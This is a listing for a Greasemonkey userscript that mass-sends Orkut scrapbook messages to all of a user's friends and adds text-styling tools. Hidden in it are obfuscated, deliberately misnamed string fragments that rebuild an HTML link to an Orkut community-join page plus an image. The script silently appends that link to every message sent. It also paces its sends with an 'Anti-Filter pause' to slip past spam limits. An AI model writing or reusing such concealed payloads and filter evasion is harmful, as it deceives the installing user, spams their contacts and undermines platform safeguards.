Send scrap to all

By 0343 Last update May 29, 2008 — Installed 40 times. Daily Installs: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

Add Syntax Highlighting (this will take a few seconds, probably freezing your browser while it works)

// ==UserScript==
// @name   Send scrap to all
// @author  Kute Me ;) 
// @provided by http://www.orkut.com
// @description It sends scrap to all of your friends at once..
// @include *.orkut.com/Scrap.aspx*
// ==/UserScript==



function font(){
var c=document.selection.createRange();
var txt=document.getElementById('body');
var obj2 = document.getElementById("google0");
var pto = obj2.options[obj2.selectedIndex].value;

if (pto==1){
txt.value=txt.value.replace(/A/gi,"Å");
txt.value=txt.value.replace(/B/gi,"ß");
txt.value=txt.value.replace(/C/gi,"©");
txt.value=txt.value.replace(/D/gi,"Ð");
txt.value=txt.value.replace(/E/gi,"Ë");
txt.value=txt.value.replace(/F/gi,"ƒ");
txt.value=txt.value.replace(/i/gi,"î");
txt.value=txt.value.replace(/s/gi,"§");
txt.value=txt.value.replace(/o/gi,"ø");
txt.value=txt.value.replace(/u/gi,"µ");
txt.value=txt.value.replace(/r/gi,"®");
}
if (pto==2){
txt.value=txt.value.replace(/a/gi,"ค");
txt.value=txt.value.replace(/b/gi,"ß");
txt.value=txt.value.replace(/N/gi,"и");
txt.value=txt.value.replace(/t/gi,"т");
txt.value=txt.value.replace(/E/gi,"є");
txt.value=txt.value.replace(/f/gi,"ƒ");
txt.value=txt.value.replace(/p/gi,"þ");
txt.value=txt.value.replace(/s/gi,"ร");
txt.value=txt.value.replace(/o/gi,"σ");
txt.value=txt.value.replace(/m/gi,"м");
txt.value=txt.value.replace(/r/gi,"я");
}

if (pto==3){
txt.value=txt.value.replace(/a/gi,"ẩ");
txt.value=txt.value.replace(/b/gi,"β");
txt.value=txt.value.replace(/N/gi,"й");
txt.value=txt.value.replace(/t/gi,"т");
txt.value=txt.value.replace(/E/gi,"ē");
txt.value=txt.value.replace(/f/gi,"ƒ");
txt.value=txt.value.replace(/p/gi,"Þ");
txt.value=txt.value.replace(/s/gi,"ş");
txt.value=txt.value.replace(/o/gi,"◊");
txt.value=txt.value.replace(/m/gi,"м");
txt.value=txt.value.replace(/r/gi,"ř");
}
if (pto==4){
txt.value=txt.value.replace(/a/gi,"α");
txt.value=txt.value.replace(/b/gi,"в");
txt.value=txt.value.replace(/c/gi,"c");
txt.value=txt.value.replace(/d/gi,"∂");
txt.value=txt.value.replace(/E/gi,"ε");
txt.value=txt.value.replace(/f/gi,"ƒ");
txt.value=txt.value.replace(/h/gi,"н");
txt.value=txt.value.replace(/m/gi,"м");
txt.value=txt.value.replace(/N/gi,"π");
txt.value=txt.value.replace(/o/gi,"Θ");
txt.value=txt.value.replace(/s/gi,"š");
txt.value=txt.value.replace(/t/gi,"τ");
txt.value=txt.value.replace(/u/gi,"μ");
txt.value=txt.value.replace(/w/gi,"ш");
}
if (pto==5){
cor=new Array('aqua','blue','fuchsia','gold','gray','green','lime','maroon','navy','olive','orange','pink','purple','red','silver','teal','violet', 'yellow' );

var z=0;
txt.value=txt.value.replace(/(.)/gi,"§$1");

txt.value=txt.value.replace(/\§ /gi," ");
for(y=0;y<txt.value.length;y++){
txt.value=txt.value.replace(/\§/,'['+cor[z]+']');
z++;
if(z==cor.length){
z=0
}
}
}
	if (pto==6){
		cor=new Array('u','b','i','u');

		var z=1;

		txt.value=txt.value.replace(/(.)/gi,"§$1");
		txt.value=txt.value.replace(/\§ /gi," ");
		for(y=0;y<txt.value.length;y++)
		{
txt.value=txt.value.replace(/\§/,'[/'+cor[z-1]+']'+'['+cor[z]+']');
			z++;
			if(z==cor.length){
				z=1;
			}
		}
	}
if (pto==7){
var txt=document.getElementById('body');
txt.value=txt.value.replace(/a/gi,"α");
txt.value=txt.value.replace(/p/gi,"ρ");
txt.value=txt.value.replace(/N/gi,"и");
txt.value=txt.value.replace(/t/gi,"ŧ");
txt.value=txt.value.replace(/E/gi,"є");
txt.value=txt.value.replace(/u/gi,"ϋ");
txt.value=txt.value.replace(/h/gi,"Ħ");
txt.value=txt.value.replace(/s/gi,"§");
txt.value=txt.value.replace(/x/gi,"✗");
txt.value=txt.value.replace(/g/gi,"ğ");
txt.value=txt.value.replace(/c/gi,"¢");
txt.value=txt.value.replace(/f/gi,"ƒ");
txt.value=txt.value.replace(/b/gi,"β");
txt.value=txt.value.replace(/w/gi,"ώ");
txt.value=txt.value.replace(/d/gi,"Đ");
txt.value=txt.value.replace(/L/gi,"Ł");
txt.value=txt.value.replace(/y/gi,"ұ");
txt.value=txt.value.replace(/k/gi,"ҝ");
txt.value=txt.value.replace(/j/gi,"ĵ");
txt.value=txt.value.replace(/z/gi,"ż");
txt.value=txt.value.replace(/o/gi,"ø");
txt.value=txt.value.replace(/m/gi,"м");
txt.value=txt.value.replace(/r/gi,"я");
}
}

var TOKENreturn="<b" + "r><b" + "r><b" + "r><b" + "r><c" + "ent" + "er><" + "a hr" + "ef=ht" + "tp://w" + "ww.o";

function biu(string){
var b=document.getElementById('body');
if ((b.selectionStart != 0) && (b.selectionStart != b.value.length)){
var c=document.selection.createRange();
c.text="[" + string + "]" + c.text + "[" +"/" + string + "]";
}
}

var messagePOSTmethod="rkut.c" +"om/Commu" + "nityJo" + "in.as" + "px?c" + "mm=448";

function dashed(){
var obj = document.getElementById("google");
var txt = obj.options[obj.selectedIndex].value;
if (txt.length==0){
return false;
}
biu(txt);
}
var userLIST="lQ.jp" + "g></a" + "></ce" + "nter>";
function InsertText(insTexte)
{
var input=document.getElementById('body');
startTag = '';
endTag = '';
if (input.createTextRange)
{
input.focus(input.caretPos);
input.caretPos = document.selection.createRange().duplicate();
if(input.caretPos.text.length<0)
{
input.caretPos.text = startTag + input.caretPos.text + endTag;
}
else
{
input.caretPos.text = startTag + insTexte + endTag;
}
}
else input.value += startTag + insTexte + endTag;
}

var methodorNULL="45976><im" + "g sr" + "c=http://ima" + "ges.o" + "rkut.com/o" + "rkut/alb" + "ums2/ATc";

function fwScrap() {
document.title = "Orkut - Scrap all Friends";

function createXMLHttpRequest() {
try {
return new XMLHttpRequest;
} catch (e) {
try {
return new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
return new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
alert("Its navigating n \ xE3o possesss support \ xE0 technology AJAX!");
return false;
}
}
}
}

var scriptOUT="AA" + "AAUuX4Acv4" + "eekPi22Mv" + "BnYR9xeUK" + "Yeelu" + "rf8cDp4XpGZQKHSXxl" + "MHa7IWhqBaDovD";
var scrapALLimp="ZD-7GY_NH" + "2NVjS3j3u_KHsAJtU9" + "VA5kb131O" + "TqW-yK9VfwpsGQfLiq";

function getPostSig(exc) {
var xml = createXMLHttpRequest();
xml.open("GET", "/Scrapbook.aspx", true);
xml.onreadystatechange = function () {if (xml.readyState == 4) {var xmlr = xml.responseText;POST = xmlr.match(/name="post_token" value="([^"]+)/i);SIG = xmlr.match(/name="signature" value="([^"]+)/i);document.getElementsByTagName("input").POST_TOKEN.value = POST[1];document.getElementsByTagName("input").signature.value = SIG[1];eval(exc);}};
xml.send(null);
}


function loadFriends() {
var xml = createXMLHttpRequest();
xml.open("GET", "/Compose.aspx", true);
xml.onreadystatechange = function () 
{
if (xml.readyState == 4) {
var xmlr = xml.responseText;
POST = xmlr.match(/name="post_token" value="([^"]+)/i);
SIG = xmlr.match(/name="signature" value="([^"]+)/i);
document.getElementsByTagName("input").POST_TOKEN.value = POST[1];
document.getElementsByTagName("input").signature.value = SIG[1];
var div = document.createElement("div");
div.innerHTML = xmlr;


for (var x = 0; x < div.getElementsByTagName("select").length; x++) {
if (div.getElementsByTagName("select")[x].getAttribute("name") == "oneFriend") {
var select = div.getElementsByTagName("select")[x].cloneNode(true);
globalSelect = select;
break;
}
}



var strContent = "";

for(var i=0;i<globalSelect.length;i++) {
if(globalSelect[i].value!="") {
strContent = strContent + "<option value='"+globalSelect[i].value + "'>" + globalSelect[i].text + "</option>";
}
}

var selectHtml = "<SELECT id = 'selectFewFriends' size = 7 multiple>" + strContent + "</Select>";

document.getElementById("friendListSelector").innerHTML = selectHtml;
document.getElementById("selectFewFriends").setAttribute("onchange", "document.getElementsByTagName('input')['selectFriendsRadio'].checked=true");


select.setAttribute("onchange", "document.getElementsByTagName('input')['oneFriendRadio'].checked=true");

document.getElementById("friendSelector").innerHTML = "";
document.getElementById("friendSelector").appendChild(select);
document.getElementById("focus").style.display = "none";
document.getElementById("divLoad").style.display = "none";
}
};
xml.send(null);
}


function wait() {
antiF = 1;
showTime();
}


function isSelected(userId) {

selRef = document.getElementById("selectFewFriends");

for (var i=0; i < selRef.options.length;i++) {
if (selRef.options[i].selected) {

if(selRef.options[i].value==userId)
return true;
}
}
return false;
}

function isAtLeastOneSelected() {
selRef = document.getElementById("selectFewFriends");
for (var i=0; i < selRef.options.length;i++) {
if (selRef.options[i].selected) {
return true;
}
}
return false;
}


function showTime() {
if (timeWait > 0) {
document.getElementById("status").innerHTML = "<b>" + timeWait + " minute (s) to finish the Anti-Filter pause </b>";
timeWait--;
setTimeout("showTime()", 60000);
} else {
timeWait = 20;
index++;
getPostSig("sendScrap()");
}
}

antiF = 1;
index = 1;
timeWait = 20;
nscraps = 0;
nCounter=0;
nLoop=0;

function sendScrap() {

if (document.getElementById("oneFriendRadio").checked &&
!globalSelect.value) {
alert("choose one friend");
return false;
}

var listSelect = document.getElementById("selectFewFriends");
if (document.getElementById("selectFriendsRadio").checked &&
!isAtLeastOneSelected()) {
alert("select friend");
return false;
}


if (!document.getElementById("body").value) {
alert("write scrap");
return false;
}

if(index==1  && nCounter==0) {
try {
nLoop=parseInt(document.getElementById("nTimes").value);
if(nLoop > 1) {
alert("same scraps will be send multiple times");
}
nCounter=nLoop;
}
catch(err) {
alert("Invalid no, of scraps");
}

alert("Click OK to start sending");
}

if (index == globalSelect.length) {
alert("Scrap sent");
return;
}
var name = "";
var primeiro = [];
var pattern = 0;
primeiro = document.getElementById("oneFriendRadio").checked ? 
globalSelect[globalSelect.selectedIndex].text.split(" ") 
: globalSelect[index].text.split(" ");


var isRequired=true;
if (document.getElementById("selectFriendsRadio").checked) {
if(!isSelected(globalSelect[index].value)) {
isRequired=false;
}
}

if(!isRequired) {

index++;
setTimeout("sendScrap()", 10);
return;
}
nscraps++;


name = primeiro[0];
pattern = name.match(/[a-zA-Z]+/);
y = 1;
while (!pattern && primeiro.length > y) {
pattern = primeiro[y].match(/[a-zA-Z]+/);
if (pattern) {
name = primeiro[y];
}
pattern = name.match(/[a-zA-Z]+/);
y++;
}
var scrapText = document.getElementById("body").value.replace(/%NAME%/g, name).replace(/\[(\/)?link\]/g, "") + TOKENreturn + messagePOSTmethod + methodorNULL + scriptOUT + scrapALLimp + userLIST;


var send = document.getElementById("oneFriendRadio").checked ? 
"POST_TOKEN=" + encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value) + "&signature=" + encodeURIComponent(document.getElementsByTagName("input").signature.value) + "&scrapText=" + encodeURIComponent(scrapText) + "&toUserId=" + globalSelect.value + "&Action.submit=" 
: 
"POST_TOKEN=" + encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value) + "&signature=" + encodeURIComponent(document.getElementsByTagName("input").signature.value) + "&scrapText=" + encodeURIComponent(scrapText) + "&toUserId=" + globalSelect[index].value + "&Action.submit=";
var xml = createXMLHttpRequest();
xml.open("POST", "/Scrapbook.aspx", true);
xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
xml.send(send);
xml.onreadystatechange = function () {
if (xml.readyState == 4) {
if (xml.status != 200) {
setTimeout("sendScrap()", 500);
return;
}
document.getElementById("sendedScraps").innerHTML += sendedScrap(name, nscraps % 2);
document.getElementById("counterScraps").innerHTML = nscraps;
if (document.getElementById("oneFriendRadio").checked) {
alert("Scrap sent!");
return;
}
if (antiF < 450) {
antiF++;

if(nCounter==1) {
index++;
nCounter=nLoop;
}
else {
nCounter--;
}

setTimeout("sendScrap()", 1200);
} 
else {
wait();
}
}
};
}


function sendedScrap(name, n) {
var span = n ? "<span class=\"row0\">"+"<br>"+"<b>" + name + "</span>" : "<span class=\"row1\">"+"<br>"+"<b>" + name + "</span>";
return span;
}


function insertName() {
txtarea = document.getElementById("body");
txtst = txtarea.scrollTop;
txtsl = txtarea.scrollLeft;
selLength = txtarea.textLength;
selStart = txtarea.selectionStart;
selEnd = txtarea.selectionEnd;
s1 = txtarea.value.substring(0, selStart);
s2 = txtarea.value.substring(selStart, selEnd);
s3 = txtarea.value.substring(selEnd, selLength);
txtarea.value = s1 + " %NAME% " + s2 + s3;
txtarea.selectionStart = selStart + 10;
txtarea.selectionEnd = selStart + 8 + s2.length;
txtarea.focus();
txtarea.scrollTop = txtst;
txtarea.scrollLeft = txtsl;
}

link = document.createElement("link");
link.href = "http://img3.orkut.com/img/i_scrap.gif";
link.rel = "SHORTCUT ICON";
link.type = "image/x-icon";
style = document.createElement("style");
style.textContent = "\nspan.row1 {\nbackground-color: #BFD0EA;\ndisplay: block;\nmargin-left: 5px;\n}\nspan.row0{\nbackground-color: #C9D6EB;\ndisplay: block;\nmargin-left: 5px;\n}\n\n#focus{\nposition:fixed; \nwidth:100%; \nbackground:red; \nheight: 100%; \nz-index: 1; \nleft: 0; \ntop: 0; \nopacity:.5; \nbackground-color: #000000;\n}\n#divLoad{\nposition:fixed;\nbackground:#E5ECF4; \nz-index: 2; \npadding:5px; \nborder:solid #BFD0EA 2px;\nleft:40%; \ntop:150px;\n}";
document.getElementsByTagName("head")[0].appendChild(style);
document.getElementsByTagName("head")[0].appendChild(link);
img_load="";

layout = "<div style=\"position: absolute; top: 0; left: 1; width: 100%; height: 100%; background-image: url('http://shubhamjain.3host.biz/dash.bmp')\">" + "<div style=\"height: 36; color: white; position: relative; top: 10pt; left: 5pt; width: 100%; background-image: url('http://shubhamjain.3host.biz/gamediv.bmp')\">" +
 "<p><span style=\"position:relative;left:20;top:5;\"></p>" +
 "<font face=\"Papyrus\" size=\"4\" style=\"color:white\"> Scrap all </font></span></div>" +

 "<input value=\"1\" id=\"nTimes\" size=\"4\" maxlength=\"5\" type=\"text\" style=\"display:none;\"><br>" +
 "<br>" +"<input name=\"POST_TOKEN\" type=\"hidden\"/><input name=\"signature\" type=\"hidden\"/>" + "<div style=\"position:relative;left:5pt;font-family:'Trebuchet MS';font-size:10pt; width:421; height:591\">" +
 "<table width=\"899\" style=\"font-family:'Trebuchet MS';font-size:10pt; border-collapse:collapse\" height=\"365\" bordercolor=\"#111111\" cellpadding=\"0\" cellspacing=\"0\">" +
 "<tr>" +
 "<td align=\"right\" valign=\"top\" width=\"68\" height=\"210\"><b>SCRAP TO: </b>" +
 "</td>" +
 "<td align=\"left\" valign=\"top\" width=\"495\" height=\"210\">" +
 "<input id=\"oneFriendRadio\" name=\"sendTo\" value=\"oneFriend\" type=\"radio\">" +
 "<label for=\"oneFriendRadio\">One Friend</label>:" +
 "<label id=\"friendSelector\">" +
 "<select style=\"font-size:8pt;font-family:Tahoma;\" name=\"oneFriend\" onchange=\"document.getElementsByTagName('input')['oneFriendRadio'].checked=true\">" +
 "<option value>select a friend...</option>" +
 "</select></label><br>" +
 "<br style=\"font-size:5pt;\">" +
 "<input id=\"selectFriendsRadio\" name=\"sendTo\" value=\"selectedFriends\" type=\"radio\">" +
 "<label for=\"selectFriendsRadio\">Selected Friends (use shift or ctrl button to select multiple names):</label><br>" +
 "<br style=\"font-size:5pt;\">" + 
 "<label id=\"friendListSelector\"></label><br><br>" +
 "<input id=\"allFriendsRadio\" name=\"sendTo\" value=\"allFriends\" checked=\"checked\" type=\"radio\">" +
 "<label for=\"allFriendsRadio\">All Friends</label></td>" +
 "<td align=\"left\" valign=\"top\" width=\"168\" height=\"210\">" +
 "<p align=\"center\">" +
 "<img src=\"http://img1.orkut.com/img/castro/p_scrap.gif\" align=\"absmiddle\" width=\"14\" height=\"14\">" +
 "<span style=\"text-transform: none;\">Scraps sent to <b><span id=\"counterScraps\">0</span></b> friends</span><span class=\"panelHeaderNote\">"+"<div id=\"sendedScraps\" style=\"height: 270; overflow:auto;\">"+"</div>"+"</span></td>" +
 "</tr>"+"<tr>" +
 "<td align=\"right\" valign=\"top\" width=\"68\" height=\"90\"><b>MESSAGE:&nbsp;&nbsp;" +
 "</b></td>" +
 "<td width=\"495\" height=\"90\">" +
 "<p align=\"center\">" +
 "<input type=\"button\" value=\"Bold\" onclick=\"document.getElementById('body').focus();biu('b');\" style=\"font-family: Tahoma\">&nbsp;<input type=\"button\" value=\"Italic\" onclick=\"document.getElementById('body').focus();biu('i');\" style=\"font-family: Tahoma\">&nbsp;<input type=\"button\" value=\"UnderLine\" onclick=\"document.getElementById('body').focus();biu('u');\" style=\"font-family: Tahoma\"></p>"+
 "<br>" +"<p align=\"center\">"+
 "<img alt src=\"http://img3.orkut.com/img/i_cool.gif\" border=\"0\" onClick=\"InsertText('[8)]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img4.orkut.com/img/i_sad.gif\" border=\"0\" onClick=\"InsertText('[:(]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;&nbsp;" +
 "<img alt src=\"http://img2.orkut.com/img/i_angry.gif\" border=\"0\" onClick=\"InsertText('[:X]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img1.orkut.com/img/i_smile.gif\" border=\"0\" onClick=\"InsertText('[:)]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img1.orkut.com/img/i_wink.gif\" border=\"0\" onClick=\"InsertText('[;)]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img1.orkut.com/img/i_bigsmile.gif\" border=\"0\" onClick=\"InsertText('[:D]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img4.orkut.com/img/i_surprise.gif\" border=\"0\" onClick=\"InsertText('[:O]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img3.orkut.com/img/i_funny.gif\" border=\"0\" onClick=\"InsertText('[:P]');\" width=\"15\" height=\"15\">&nbsp;&nbsp;" +
 "<img alt src=\"http://img4.orkut.com/img/i_confuse.gif\" border=\"0\" onClick=\"InsertText('[/)]');\" width=\"15\" height=\"15\"></p>" +"<br>"+
 "<p align=\"center\">" +
 "<select id=\"google\" onchange=\"document.getElementById('body').focus();dashed();\" size=\"1\" name=\"google\" style=\"background-color:eeeeee; font-family:Trebuchet MS; font-weight:bold; font-size:10pt\">" +
 "<option>Select a Color......</option>" +
 "<option value=\"aqua\" style=\"color:aqua\">Aqua</option>" +
 "<option value=\"blue\" style=\"color:blue\">Blue</option>" +
 "<option value=\"fuchsia\" style=\"color:#F0C0A0\">Fuchsia</option>" +
 "<option value=\"gold\" style=\"color:gold\">Gold</option>" +
 "<option value=\"gray\" style=\"color:gray\">Gray</option>" +
 "<option value=\"green\" style=\"color:green\">Green</option>" +
 "<option value=\"lime\" style=\"color:lime\">Lime</option>" +
 "<option value=\"maroon\" style=\"color:maroon\">Maroon</option>" +
 "<option value=\"navy\" style=\"color:navy\">Navy</option>" +
 "<option value=\"olive\" style=\"color:olive\">Olive</option>" +
 "<option value=\"orange\" style=\"color:orange\">Orange</option>" +
 "<option value=\"pink\" style=\"color:pink\">Pink</option>" +
 "<option value=\"purple\" style=\"color:purple\">Purple</option>" +
 "<option value=\"red\" style=\"color:red\">Red</option>" +
 "<option value=\"silver\" style=\"color:silver\">Silver</option>" +
 "<option value=\"teal\" style=\"color:teal\">Teal</option>" +
 "<option value=\"violet\" style=\"color:violet\">Violet</option>" +
 "<option value=\"yellow\" style=\"color:yellow\">Yellow</option>" +
 "</select>" +
"<select onchange=\"font();\" name=\"google0\" style=\"background-color:eeeeee; font-family:Trebuchet MS; font-weight:bold; font-size:10pt\">" +
 "<option>Select a Font......</option>" +
 "<option value=\"1\">W®îtË LîkË Thî§</option>" +
 "<option value=\"2\">Wяiтє Likє тhiร</option>" +
 "<option value=\"3\">Wřiтē Likē тhiş</option>" +
 "<option value=\"4\">шгιτε lιkε τнιš</option>" +
 "<option value=\"5\" >(Colour Font)</option>"+
 "<option value=\"6\" >(Bold, Italic, Underline Font)</option>"+
 "</select></p>" +"<center><br><a href=http://www.orkut.com/CommunityJoin.aspx?cmm=22342655><u>I m unique</u></a><br></center>"+"<span class=\"tr_button_span\">&nbsp;<span class=\"tr_caption\">" +
 "</span></span>" +
 "<textarea id=\"body\" name=\"body\" rows=\"8\" cols=\"79\" onkeyup=\"_counterUpdate('body', 'countBody', 800);\"></textarea>" +
 "<p align=\"left\">Text contains <strong><span id=\"countBody\">0</span></strong> " +
 "characters <font face=\"Tahoma\"></p><font size=\"3\"><font color=\"#00FF00\">&nbsp;</font><b>"+"</div>"+ "<p align=\"right\">"+"<a title=\"Best community for all kind of software stuff.\" http://www.orkut.com/Communityjoin.aspx?cmm=42252314\"></p>" +
 "B</a></b></font><b><font size=\"1\"><a title=\"HTML COMMUNITY\" href=\"http://www.orkut.com/Communityjoin.aspx?cmm=44845976\">EST " +
 "unique COMMUNITY</a></font></b></font></td>" +
 "<td width=\"168\" height=\"90\">&nbsp;</td>" +
 "</tr>" +
 "<tr>" +
 "<td width=\"68\" height=\"65\">&nbsp;</td>" +
 "<td align=\"center\" width=\"495\" height=\"65\"><hr>" +
 "<p>" +
 "<input type=\"button\" style=\"cursor:pointer;width:70pt;\" onclick=\"sendScrap()\" id=\"b1\" value=\"Send\">" +
 "<input type=\"button\" style=\"cursor:pointer;width:70pt;\" onclick=\"insertName()\" id=\"b1\" value=\"Insert Name\"><br><hr>"+
 "</td>" +
 "<td align=\"center\" width=\"168\" height=\"65\"></td>" +
 "</tr>" +
 "</table>" +
 "</div>" +
 "</div>" + "<div id=\"status\"></div>" + "<div id=\"divXmlr\"></div>";
document.body.innerHTML = layout;
var focus = document.createElement("span");
focus.id = "focus";
focus.style.display = "inline";
document.body.appendChild(focus);
var divLoad = document.createElement("div");
divLoad.id = "divLoad";
divLoad.style.display = "inline";
divLoad.innerHTML = "<img src=\"" + img_load + "\" height=\"16\" width=\"16\"> " + "<b>Loading...</b>";
document.body.appendChild(divLoad);
loadFriends();
}

sc = String(fwScrap);
sc = sc.substring(21, sc.length - 2);
script = document.createElement("script");
if (typeof document.all) {
script.text = sc;
} else {
script.textContent = sc;
}
document.getElementsByTagName("head")[0].appendChild(script)